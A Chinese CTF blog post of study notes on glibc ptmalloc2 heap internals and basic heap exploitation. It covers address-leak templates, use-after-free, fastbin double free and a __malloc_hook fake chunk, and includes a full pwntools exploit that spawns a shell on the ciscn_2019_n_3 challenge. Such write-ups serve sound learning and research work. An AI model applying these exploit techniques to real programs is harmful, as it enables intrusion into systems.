【PWN.0x01】简易 Glibc heap exploit 笔记

本文最后更新于:2023年8月13日 晚上

不要满足于做一个 ptmalloc 拳击手

0x00.写在开始之前

这篇博客其实早在20年年末的时候就已经写好了大致的框架,一直想着等哪天完善了再发出来,但是后面一🕊再🕊一直没能够完成,只在博客存档上放了一个半成品,一直想着等有时间了再行补全,却未曾想到越来越忙了,不全的计划却也是遥遥无期,只好稍作修改先扔上来

希望以后有时间能把后面的给补全了罢(🕊🕊🕊)

第一版引言

对于堆管理器的利用一直以来都是CTF比赛中的热点,按我的感受来看通常情况下大比赛的签到题都会是一道easy heap,同时由于其知识点的繁复冗杂,对于Linux的堆管理器的利用也是Pwner们的学习路径上的一个瓶颈,因此本人决定将一些基础的套路记录下来,希望能够帮助更多初入pwn世界的萌新们尽快掌握对于堆管理器的美妙利用

当然,本篇博文并不专业,仅仅是记录下了笔者所见过的一些较为常见的利用套路,仅适用于初识堆利用的萌新,对于对堆管理器已经有着一定的了解或者再往上的大师傅们还请无视

本篇仅涉及对于传统 Glibc 中 ptmalloc2 的利用,不包含其他类型堆管理器(如tcmalloc等)的利用手段

前置知识:

  • 基本的 pwn 知识

  • x86汇编语言基础

  • C语言基础

  • 数据结构基础(笔者个人推荐至少要Leetcode上的链表题能写中等难度的水平(OI大犇请无视))

0x01.堆内存的分配&释放

与数据结构中的堆不同,这里我们所说的【堆】指的是进程运行过程中为动态内存分配所服务的内存段,在 Linux 下包括传统的 heap 段 与 Memory Mapping Segment 段,如下图所示(本图来自CTF wiki):

image.png

堆相关系统调用

brk

brk系统调用用以在 heap 段将要耗尽时对其进行拓展,其增长方向为向高地址增长

mmap

mmap 系统调用用以在内存中映射一块区域,当我们尝试直接分配较大的内存块时 ptmalloc 便会通过 mmap 系统调用在内存中分配一块匿名内存块

内存分配基本思想:重用

堆管理器处于用户程序与内核中间,主要做以下工作

  1. 响应用户的申请内存请求。堆管理器负责向操作系统申请内存,然后将其返回给用户程序,但是频繁的系统调用会造成大量的开销。为了保持内存管理的高效性,内核一般都会预先分配很大的一块连续的内存,然后让堆管理器通过某种算法管理这块内存。只有当出现了堆空间不足的情况,堆管理器才会再次与操作系统进行交互。
  2. 管理用户所释放的内存。一般来说,用户释放的内存并不是直接返还给操作系统的,而是由堆管理器进行管理。这些释放的内存可以来响应用户新申请的内存的请求。

0x02.堆相关数据结构

此部分内容推荐阅读: glibc2.23malloc源码分析 - I:堆内存的基本组织形式 进行深入理解,这里只是帮大家了解个大概的样子

1.chunk

通常情况下,我们将向系统所申请得到的内存块称之为一个 chunk

基本结构

在 ptmalloc2 的内部使用malloc_chunk结构体来表示,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

各字段含义如下:

  • prev_size:用以保存前一个内存物理地址相邻的chunk的size,仅在该chunk为free状态时会被使用到
  • size:顾名思义,用以保存这个chunk的总的大小,即同时包含chunk头prev_size + size和chunk剩余部分的大小
  • fd&&bk仅在在chunk被free后使用,用以连接其他的chunk,也就是说当chunk处于被使用的状态时该字段无效,被用以存储用户的数据
  • fd_nextsize&&bk_nextsize:仅在在chunk被free后使用,用以连接其他的chunk

由于最后的两个变量仅用于较大的free的chunk,故我们先暂且忽略

那么我们便可以知道:一个chunk在内存中大概是长这个样子的

image.png

其中 prev_size 字段与 size 字段被称之为 chunk header,用以存储 chunk 相关数据,剩下的部分才是系统真正返回给用户进行使用的部分

内存对齐

MALLOC_ALIGNMENT 定义了chunk在内存中对齐的字节数,一般来说算出来都是对 2 * SIZE_SZ 对齐,即 32 位下 8 字节对齐,64 位下 16 字节对齐

标志位定义及相关宏

我们知道对于一个 malloc_chunk 而言其 size 字段应当与 MALLOC_ALIGNMENT (32 位下为 8 字节,64 位下为16字节)对齐,而在这样的情况下一个 chunk 的 size 字段的低 3/4(32/64位系统)位将会永远为0,无法得到充分的利用

因此,出于能压榨一点空间是一点空间的思想,一个 chunk 的 size 字段的低三位用以保存 chunk 相关的三个状态,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/*
--------------- Physical chunk operations ---------------
*/


/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1

/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->size & PREV_INUSE)


/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2

/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)


/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4

/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)

从低位到高位依次如下:

  • PREV_IN_USE:该chunk内存物理相邻的上一个chunk是否处于被分配状态
  • IS_MAPPED:该chunk是否是由mmap()进行内存分配得到的
  • NON_MAIN_ARENA:该chunk是否是一个不属于main_arena的chunk

关于chunk间的内存复用及request2size计算相关事项

众所周知·,ptmalloc在组织各chunk时允许一个chunk复用其物理相邻的下一个chunk的prev_size字段作为自己的储存空间,这也是为什么当一个chunk的物理相邻的前一个chunk处在被分配状态时该chunk的prev_size字段无效的原因,大致图示如下:

image.png

Top Chunk

Top Chunk 是所有chunk中较为特殊的一个 chunk,由于系统调用的开销较大,故一般情况下 malloc 都不会频繁地直接调用 brk 系统调用开辟堆内存空间,而是会在一开始时先向系统申请一个较大的T op Chunk,后续需要取用内存时便从 Top chunk 中切割,直到 Top chunk 不足以分配所需大小的 chunk 时才会进行系统调用

2.arena

arena这个词直译是“竞技场”的意思,wsm要起这种奇怪的名字我也不知道,可能是因为听起来比较帅气吧,按照笔者的理解,arena 在 ptmalloc2 中用以表示「单个线程独立维护的内存池」,这是由于大部分情况下对于每个线程而言其都会单独有着一个 arena 实例用以管理属于该线程的堆内存区域,包括 Bins、Fastbin 等其实都是被放置在arena的结构体中统一进行管理的

main_arena

main_arena 即**主线程所使用的 arena **,为一个定义于 malloc.c 中的静态的malloc_state结构体,如下:

1
2
3
4
5
6
7
8
9
10
11
12
/* There are several instances of this struct ("arenas") in this
malloc. If you are adapting this malloc in a way that does NOT use
a static or mmapped malloc_state, you MUST explicitly zero-fill it
before using. This malloc relies on the property that malloc_state
is initialized to all zeroes (as is true of C statics). */

static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,
.next = &main_arena,
.attached_threads = 1
};

该arena位于libc中,而并不似其他arena一般位于堆区

在堆题中通常通过泄露arena的地址以获得 libc 在内存中的基地址

①fast bin

ptmalloc2 独立于Bins之外单独设计了一个 Fastbin 用以储存一些 size 较小的闲置 chunk

  • Fastbins 是一个用以保存最近释放的较小的 chunk 的数组,为了提高速度其使用单向链表进行链接
  • Fastbin 采取 FILO/LIFO 的策略,即每次都取用 fastbin 链表头部的 chunk ,每次释放chunk时都插入至链表头部成为新的头结点,因而大幅提高了存取chunk的速度
  • Fastbin 中的 chunk 永远保持在 in_use 的状态,这也保证了她们不会被与其他的 free chunk 合并
  • malloc_consolidate()函数将会清空 fastbin 中所有的 chunk,在进行相应的合并后送入普通的 bins 中
  • 32位下最大的 fastbin chunk size 为 0x40, 64位下最大的 fastbin chunk size 为 0x80,超过这个范围的 chunk 在 free 之后则不会进入 fastbin 中

安全检查

I.size

在 malloc() 函数分配 fastbin size 范围的 chunk 时,若是对应的 fastbin 中有空闲 chunk,在取出前会检查其 size 域与对应下标是否一致,不会检查标志位,若否便会触发abort

II.double free

在 free() 函数中会对fastbin链表的头结点进行检查,若将要被放入 fastbin 中的 chunk 与对应下标的链表的头结点为同一chunk,则会触发abort

III.Safe linking 机制(only glibc2.32 and up)

自 glibc 2.32 起引入了 safe-linking 机制,其核心思想是在链表上的 chunk 中并不直接存放其所连接的下一个 chunk 的地址,而是存放下一个 chunk 的地址与【自身地址右移 12位】所异或得的值,使得攻击者在得知该 chunk 的地址之前无法直接利用其构造任意地址写

需要注意的是fastbin 的入口节点存放的仍是未经异或的 chunk 地址

②tcache(only libc2.26 and up)

Thread Cache(tcache)机制用以快速存取chunk,使用如下结构体进行管理:

1
2
3
4
5
6
7
8
9
10
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
  • counts:用以存储该 tcache 中每个 entry 中的 chunk 的数量,glibc2.29 及之前的版本中每个 entry 的 count 都是 char 类型,自 glibc2.30 起改为 uint16_t 类型
  • entry:用以存储 存放在 tcache 中的 chunk 链表的头节点

tcache 中一共有64个 entries ,每个 entries 使用如下结构体进行管理:

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

即 tcache 中的 chunk 为使用 fd 域连接的单向链表,自 glibc2.29起 使用 bk 域保存 tcache key

tcache 同样采用 FIFO 机制存取 chunk,每个链条上仅能连接 7 个 chunk,当对应的 entry 满了以后再 free 一个 chunk 则会放入 fastbin 或 unsorted bin 中

与普通的 bin 所不同的是,tcache 中空闲 chunk 的 fd 域指向的并非是下一个 chunk 的 prev_size 域,仍是 fd 域

安全保护机制

tcache 机制刚出来时基本上是毫无保护的,因此对于 tcache 的利用比以往要简单得多(比如说可以直接 double free、任意地址写等

I.tcache key(only libc2.29 and up)

自 glibc2.29 版本起 tcache 新增了一个 key 字段,该字段位于 chunk 的 bk 字段,值为 tcache 结构体的地址,若 free() 检测到 chunk->bk == tcache 则会遍历 tcache 查找对应链表中是否有该chunk

最新版本的一些老 glibc (如新版2.27等)也引入了该防护机制

II.Safe linking 机制(only glibc2.32 and up)

与 fastbin 的safe-linking 机制相同,这里便不再过多赘叙

不过相比起 fastbin 而言,tcache 的 safe-linking 机制给了我们新的泄露堆基址的方式

我们不难观察到,在 tcache 的一个 entry 中放入第一个 chunk 时,其同样会对该 entry 中的 “chunk” (NULL)进行异或运算后写入到将放入 tcache 中的 chunk 的 fd 字段,若是我们能够打印该 free chunk 的fd字段,便能够直接获得未经异或运算的堆上相关地址

image.png

image.png

同时我们注意到,在 tcache->entry 中存放的仍是未经加密过的地址,若是我们能够控制 tcache 管理器则仍可以在不知道堆相关地址时进行任意地址写

③bins数组

即常规的存放 chunk 的数组,其中存放的 chunk 使用【双向链表】进行连接

专门有着一种叫做 unlink 的机制用以从其中取出 chunk,其中有着各种各样的安全检查

由于从各种bins中取出一个chunk的操作十分频繁,若是使用函数实现则会造成较大的开销,故unlink操作被单独实现为一个宏,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

大致的一个流程如下:

  • P为要被unlink的chunk,FD、BK则是chunk:P->fd与P->bk
  • 检查FD->bk与BK->fd是否都指向P,若否,则输出错误信息
  • 将FD->bk指向BK,将BK->fd指向FD,这个时候这个chunk便已经不在该bin的双向循环链表中了
  • 若是chunk size位于small bin的范围内,则unlink结束,否则标志着此时chunk的fd_nextsize与bk_nextsize字段是启用的,需要接着将之从nextsize链表中unlink(large bin特有)
  • 检查P->fd_nextsize->bk_size与P->bk_nextsize->fd_nextsize是否指向P,和前面的过程类似这里便不再赘叙
  • 若FD->fd_nextsize不为NULL,则将P从其所处nextsize链表中unlink
  • 若FD->fd_nextsize为NULL时,若P->fd_nextsize指向自身,则将FD->fd_nextsize与FD->bk_nextsize都指向FD(代表该chunk不属于任何一个nextsize链表?),否则使用FD替换掉P所在的nextsize链表中的位置

大致过程如下图所示

image.png

image.png

image.png

image.png

image.png

image.png

自 glibc 2.29 起 unlink 被实现为一个函数,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");

if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

unsorted bin

用以临时存放堆块的 bin,在size 大于 fastbin 范围、tcache 链表已满(如果有 tcache )时一个 chunk 在 free 之后则会先被放入 unsorted bin 中

若被放入 unsorted bin 中的 chunk 与原有 unsorted chunk 物理相邻则会合并成一个大 chunk

small bin

存放size较小的空闲chunk的bin

large bin

存放size较大的空闲chunk的bin

0x03.内存分配相关函数

一、malloc

malloc() 函数用于分配 chunk,首先从 tcahe 到 fastbin 再到 bins 中寻找可用 chunk,当现有的常规空闲 chunk 不直接满足要求时会从 top chunk 中进行切割或是尝试合并可以合并的相邻空闲 chunk,万不得已时才会进行系统调用

__malloc_hook

位于 libc 中的函数指针变量,通常为 NULL,不为 NULL 时 malloc() 函数会优先调用该函数指针

二、free

free() 函数用于将对应的空闲 chunk 放入相应的 bin 中,在一定情况下还会合并相邻空闲 chunk

__free_hook

位于 libc 中的函数指针变量,通常 为NULL ,不为NULL时 free() 函数会优先调用该函数指针,传入的参数为要free 的 chunk 的 fd 域的地址

三、realloc

用以扩展 chunk,相邻 chunk 闲置且空间充足则会进行合并,否则会重新分配 chunk

通过 realloc 我们可以完成对一个 chunk 的 free,也就是说在特殊情况下 realloc 是可以当作 free 使用的,其中,在size 为 0 的情况下,realloc 函数会调用 free 释放该 chunk

__realloc_hook

位于 libc 中的函数指针变量,通常为 NULL ,不为 NULL 时 realloc() 函数会优先调用该函数指针

由于 __realloc_hook 与 __malloc_hook 相邻,因此在 heap exploit 中有着这样一种手法便是同时修改这两个 hook,通过 __libc_realloc 中的一些 gadget 调整堆栈以满足一些特定的要求

四、calloc

在最近的 CTF 比赛中开始变得热门的一个函数,该函数在分配时会清空 chunk 上的内容,这使得我们无法通过以往的重复存取后通过 chunk 上残留的脏数据的方式泄露信息(例如通过 bins 数组遗留的脏数据泄露 libc 基址等),同时该函数不从 tcache 中拿 chunk,但是 free() 函数默认还是会先往 tcache 里放的,这无疑增加了我们利用的难度

五、malloc_consolidate

该函数用以清空fastbins中chunk、合并相邻空闲chunk,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
/*
------------------------- malloc_consolidate -------------------------

malloc_consolidate is a specialized version of free() that tears
down chunks held in fastbins. Free itself cannot be used for this
purpose since, among other things, it might place chunks back onto
fastbins. So, instead, we need to use a minor variant of the same
code.

Also, because this routine needs to be called the first time through
malloc anyway, it turns out to be the perfect place to trigger
initialization code.
*/

static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */

/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;

/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/

if (get_max_fast () != 0) {
clear_fastchunks(av);

unsorted_bin = unsorted_chunks(av);

/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/

maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, 0);
if (p != 0) {
do {
check_inuse_chunk(av, p);
nextp = p->fd;

/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);

if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);

first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;

if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}

else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}

} while ( (p = nextp) != 0);

}
} while (fb++ != maxfb);
}
else {
malloc_init_state(av);
check_malloc_state(av);
}
}

首先会先检查global_max_fast

  • 若不为0则会设置该arena的FASTCHUNKS_BIT标志位,意味着接下来该函数会清空该arena的fastbin中的chunks
  • 若为0则意味着该线程的arena未进行初始化,此时便会调用malloc_init_state()函数初始化该arena,随后使用check_malloc_state()宏进行检查后该函数便结束了,在非DEBUG模式下(未定义宏MALLOC_DEBUG)该宏为空

接在已经初始化的情况下接下来会分别获取指向arena中fastbinsY数组首尾元素的指针,用以对fastbinsY数组进行遍历,这个遍历由两层循环嵌套而成:

外层循环:遍历fastbinsY数组元素

我们单独将这个循环嵌套拿出来看为如下形式:

1
2
3
4
5
6
7
8
9
do {
p = atomic_exchange_acq (fb, 0);
if (p != 0)
{
do {
// inner loop there
} while ( (p = nextp) != 0);
}
} while (fb++ != maxfb);

我们不难看出外层循环的作用便是逐个取出fastbinsY数组中元素,随后交由内层循环进行下一步的处理

在这里使用了一个宏atomic_exchange_acq(),用途是通过原子读操作设置新值,返回旧值,前面已解析过类似宏,这里便不再赘叙

虽然前文我们有讲到fastbinsY数组的下标包括7及往后都是用不到的,但是在这里仍会尝试对齐进行遍历

内层循环:遍历fastbin 链表、合并空闲chunk

在内层循环中会从我们从外层循环中所取得的fastbins链表的头结点开始进行遍历,并进行空闲chunk的合并以减少内存碎片

获取到的头结点为NULL则会直接跳过该层循环,否则进入下面的步骤

在这里有一个宏check_inuse_chunk(),该宏在非DEBUG模式下(宏MALLOC_DEBUG undefined)也为空

首先会获取该节点chunk的size,在这里获取到的size清除了PREV_INUSE标志位与NON_MAIN_ARENA标志位,这是为了在后面的合并过程中能够准确地获取到高地址相邻chunk的位置

说起来网上很多关于malloc_consolidate()的博客都有讲到所谓「前向合并」和「后向合并」,但是哪边是前哪边是后笔者暂且蒙在古里(注释里笔者也没看到forward/backward…

那么下文我们按照对其称呼的惯例做出如下约定:将向高地址的合并称为「前向合并」,向低地址的合并称为「后向合并」

①后向合并:使用unlink取出相邻低地址chunk(若已free)

首先会检查该chunk的PREV_IN_USE标志位,若不为1则说明低地址相邻chunk必为存放在bins数组中的free chunk,这是因为当一个chunk被使用中/被放入fastbin中,其相邻高地址的chunk的PREV_INUSE标志位都不会被清除,只有放入bins中才会清除该标志位,相关机制我们会在后文的_int_free()函数中详细进行分析

这种情况下会在前面的size变量中加上原chunk的prevsize域的值,将chunk指针移动至指向该空闲chunk,如下图所示

image.png

最后使用unlink宏从bins中取出该chunk,后向合并的过程就完成了

image.png

需要注意的是在这里是使用原chunk的prevsize域计算该空闲chunk的大小,而并非直接使用低地址空闲chunk的size域

②前向合并:若为top chunk则合并入top chunk中,否则会尝试合并后插入unsorted_bin中

1)nextchunk为top chunk

首先会检查nextchunk是否为top chunk,若是则流程会简便得多:将该chunk的size加上nextchunk的size,设置PREV_INUSE标志位,将arena的top chunk设置为该chunk后便进入下一步

image.png

5)nextchunk不为top chunk

若nextchunk不为top chunk,则首先会检查nextchunk的物理相邻高地址chunk的PREV_INUSE标志位

  • 若不为0则会清除nextchunk的PREV_INSUE位

image.png

  • 若为0则使用unlink将nextchunk从bins中取出

image.png

接下来会将该chunk放入unsorted bin中,需要注意的是在这里使用的是头插法使其成为unsorted bin的头结点

image.png

接下来会检查chunk最终的大小,若是size不处于smallbins范围内则会设置其fd_nextsize与bk_nextsize为NULL

最后,设置该chunk的PREV_INUSE位为1,设置当前情况下的物理相邻chunk的prevsize域为该chunk的size

image.png

③检查链表中的下一个chunk,不为NULL则继续新一轮循环

虽然chunk指针可能在合并中被修改,但是我们在前面已经保存了其fd,若不为NULL则进行下一轮循环,故可以继续遍历链表的进程

0x04.基础的利用方式

一、地址泄露

与 ret2libc 相同,CTF的堆题中往往不会直接给我们后门函数,同时地址随机化保护往往也都是开着的(准确地说,几乎所有的堆题都是保 护 全 开),故我们仍然需要利用 libc 中的 gadget 以获得 flag

bins - libc 基址

(除 fastbin 与 tcache 以外)bins 与空闲 chunk 间构成双向链表结构,利用这个特性我们便可以泄漏出main_arena 的地址,进而泄漏出 libc 的基址

gdb 调试可以方便我们知道 chunk 上所记载的与 main_arena 间的偏移

通常情况下,我们利用 unsorted bin 中的 chunk 泄露 libc 地址,其与 main_arena 间距离为 0x58/0x60(libc2.26 and up, with tcache),而 main_arena 与 __malloc_hook 间地址相差0x10,故有如下板子:

1
2
3
4
5
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60 # tcache
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x58 # no tcache
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - offset # other condition(not unsorted bin leak)
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']

这种利用的方式可以是通过垂悬指针打印bins中chunk内容,也可以是通过送入 bins 后再分配回来后打印 chunk 上残留的脏数据获得

_IO_FILE - libc 基址

主要针对没有打印函数或者打印次数不够(比如说只能输出一次但是得先泄露堆基址的libc2.32一类的)的情况,我们可以通过劫持_IO_2_1_stdout_ 结构体以泄漏出 libc 的地址,由于 main_arena 与 _IO_2_1_stdout_ 在相靠近的几个页内,故我们可以通过 partial overwrite 的方式以 1/16 的概率去撞 _IO_2_1_stdout_,之后修改该结构体以使得诸如 puts 这样的函数误认为有未输出内容从而打印出 libc 相关地址,可以通过 gdb 进行调试获得泄露出的地址相对于 libc 基址的偏移

本内容放到后面的 IO_FILE exploit 章节再行详细阐述

tcache key - 堆基址(only libc2.29 and up)

tcache key 所用的值便是 tcache 结构体本身的地址,故若我们能够打印 tcache key ,就能直接获得堆基址

对于常规的其他堆地址,我们还有如下板子:

1
2
3
heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
heap_base = heap_leak - 0x290 - 0x10 - offset # C
heap_base = heap_leak - 0x11c10 - 0x290 - 0x10 - offset # C++ with string cin cout

需要注意的是不同版本的libc下这个偏移(0x290,libc2.30 and up;0x250,below the libc 2.30)并不一定是相同的

safe-linking in tcache - 堆基址(only libc2.32 and up)

在 tcache 的一个 entry 中放入第一个 chunk 时,其同样会对该 entry 中的 “chunk” (NULL)进行异或运算后写入到将放入 tcache 中的 chunk 的 fd 字段,若是我们能够打印该 free chunk 的fd字段,便能够直接获得未经异或运算的堆上相关地址

二、use after free

use after free 即对于垂悬指针的利用,在这类题目中往往题目在逻辑设计上会在free一个堆块后留下一个垂悬指针,未将其置 NULL ,使得该堆块虽然被 free 了,但是我们仍然能够使用该堆块

常见的垂悬指针利用有:

  • 泄露数据
  • double free
  • 构造任意地址写

例题:ciscn_2019_n_3 - Use After Free

惯例的checksec,发现只开了NX和canary

image.png

拖入IDA进行分析,大概是一道有着分配、释放、打印堆块功能的程序

image.png

释放堆块时用的是堆块上的函数指针

image.png

在释放堆块后不会将堆块指针置NULL,存在UAF漏洞

image.png

image.png

由于程序中存在system函数,故考虑通过UAF覆写堆块指针为system后执行system("sh")以get shell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

#context.log_level = 'debug'
context.arch = 'i386'
p = process('./ciscn_2019_n_3') # p = remote('node3.buuoj.cn', 27248)
e = ELF('./ciscn_2019_n_3')
libc = ELF('./libc-2.27.so')

def cmd(command: int):
p.recvuntil(b"CNote")
p.sendline(str(command).encode())

def new(index: int, value: int):
cmd(1)
p.recvuntil(b"Index")
p.sendline(str(index).encode())
p.recvuntil(b"Type")
p.sendline(str(1).encode())
p.recvuntil(b"Value")
p.sendline(str(value).encode())

def new(index: int, length: int, content):
cmd(1)
p.recvuntil(b"Index")
p.sendline(str(index).encode())
p.recvuntil(b"Type")
p.sendline(str(2).encode())
p.recvuntil(b"Length")
p.sendline(str(length).encode())
p.recvuntil(b"Value > ")
p.sendline(content)

def free(index: int):
cmd(2)
p.recvuntil(b"Index")
p.sendline(str(index).encode())

def dump(index: int):
cmd(3)
p.recvuntil(b"Index")
p.sendline(str(index).encode())

def exp():
new(0, 0x114, b'arttnba3') # idx 0
new(1, 0x114, b'arttnba3') # idx 1
free(0)
free(1)
new(2, 0xc, b'sh\x00\x00' + p32(e.sym['system'])) # idx2, overlapping with idx 0
free(0)
p.interactive()


if __name__ == '__main__':
exp()

运行即可get shell

image.png

①double free

double free 则是 use after free 中最为热门的一种利用方式,当同一个 chunk 在堆管理器中同时存在两份副本时,我们将其中一个堆块分配回来并改写其 fd 指针,当该 chunk 再一次被取出时,留在堆管理器中的 chunk 地址便是由我们写入的 fake chunk 地址,此时我们再行分配便可以在我们所希望的地址获得一个 chunk,实现任意地址写

I.fastbin double free

由于 fastbin 对于 double free 的检查较为稀松,故通常考虑通过 fastbin double free 进行任意地址写

fastbin 仅会检查链表的第一个节点,故仅需要构造 A->B->A 的 free() 链即可完成 fastbin double free,通过这样的方式我们可以利用 fastbin 进行有限地址写,这种利用方式也叫做 fastbin dup

size检查

在malloc取出fastbin中的chunk时会检查其size字段,若与其对应下标不相符则会引发程序abort,限制了我们所能构造fake chunk的位置,但该size检查不会检查标志位

__malloc_hook - 0x23

fastbin attack中分配到__malloc_hook附近的fake chunk通常都是malloc(0x60),也就是size == 0x71,这是因为在__malloc_hook - 0x23这个地址上fake chunk的SIZE的位置刚好是0x7f,满足了绕过fastbin的size检查的要求

image.png

这是一个十分优雅的位置,因为无论何时这个位置上的值都是 0x7f,同时离 __malloc_hook 仅有 0x23 字节的距离,我们在构造 size 为 0x71 的 fake fastbin chunk 时若是构造到这个位置则完全不需要担心 size 检查的问题,因此 __malloc_hook - 0x23 也就成为了构造 fake fastbin chunk 的“热门地带”

需要注意的是在libc2.31版本中这个位置上的数据已经不再是0x7f,故我们需要具体问题具体分析,具体版本具体调试

image.png

例题:bytectf2019 - mulnote - use after free + fastbin attack + one_gadget

点击下载-mulnote.zip

一道有着分配、编辑、打印、释放堆块功能的题目

漏洞点主要在于释放函数的策略,对于每一次堆块的释放,其都会起一个新的线程执行释放堆块操作

image.png

每一个线程都会调用start_routine函数完成最终的操作,漏洞点就在于free()之后线程会先休眠几秒后再将堆块指针置零,若是我们在这段时间内进行其他操作,便可以double free + 地址泄露一套带走

image.png

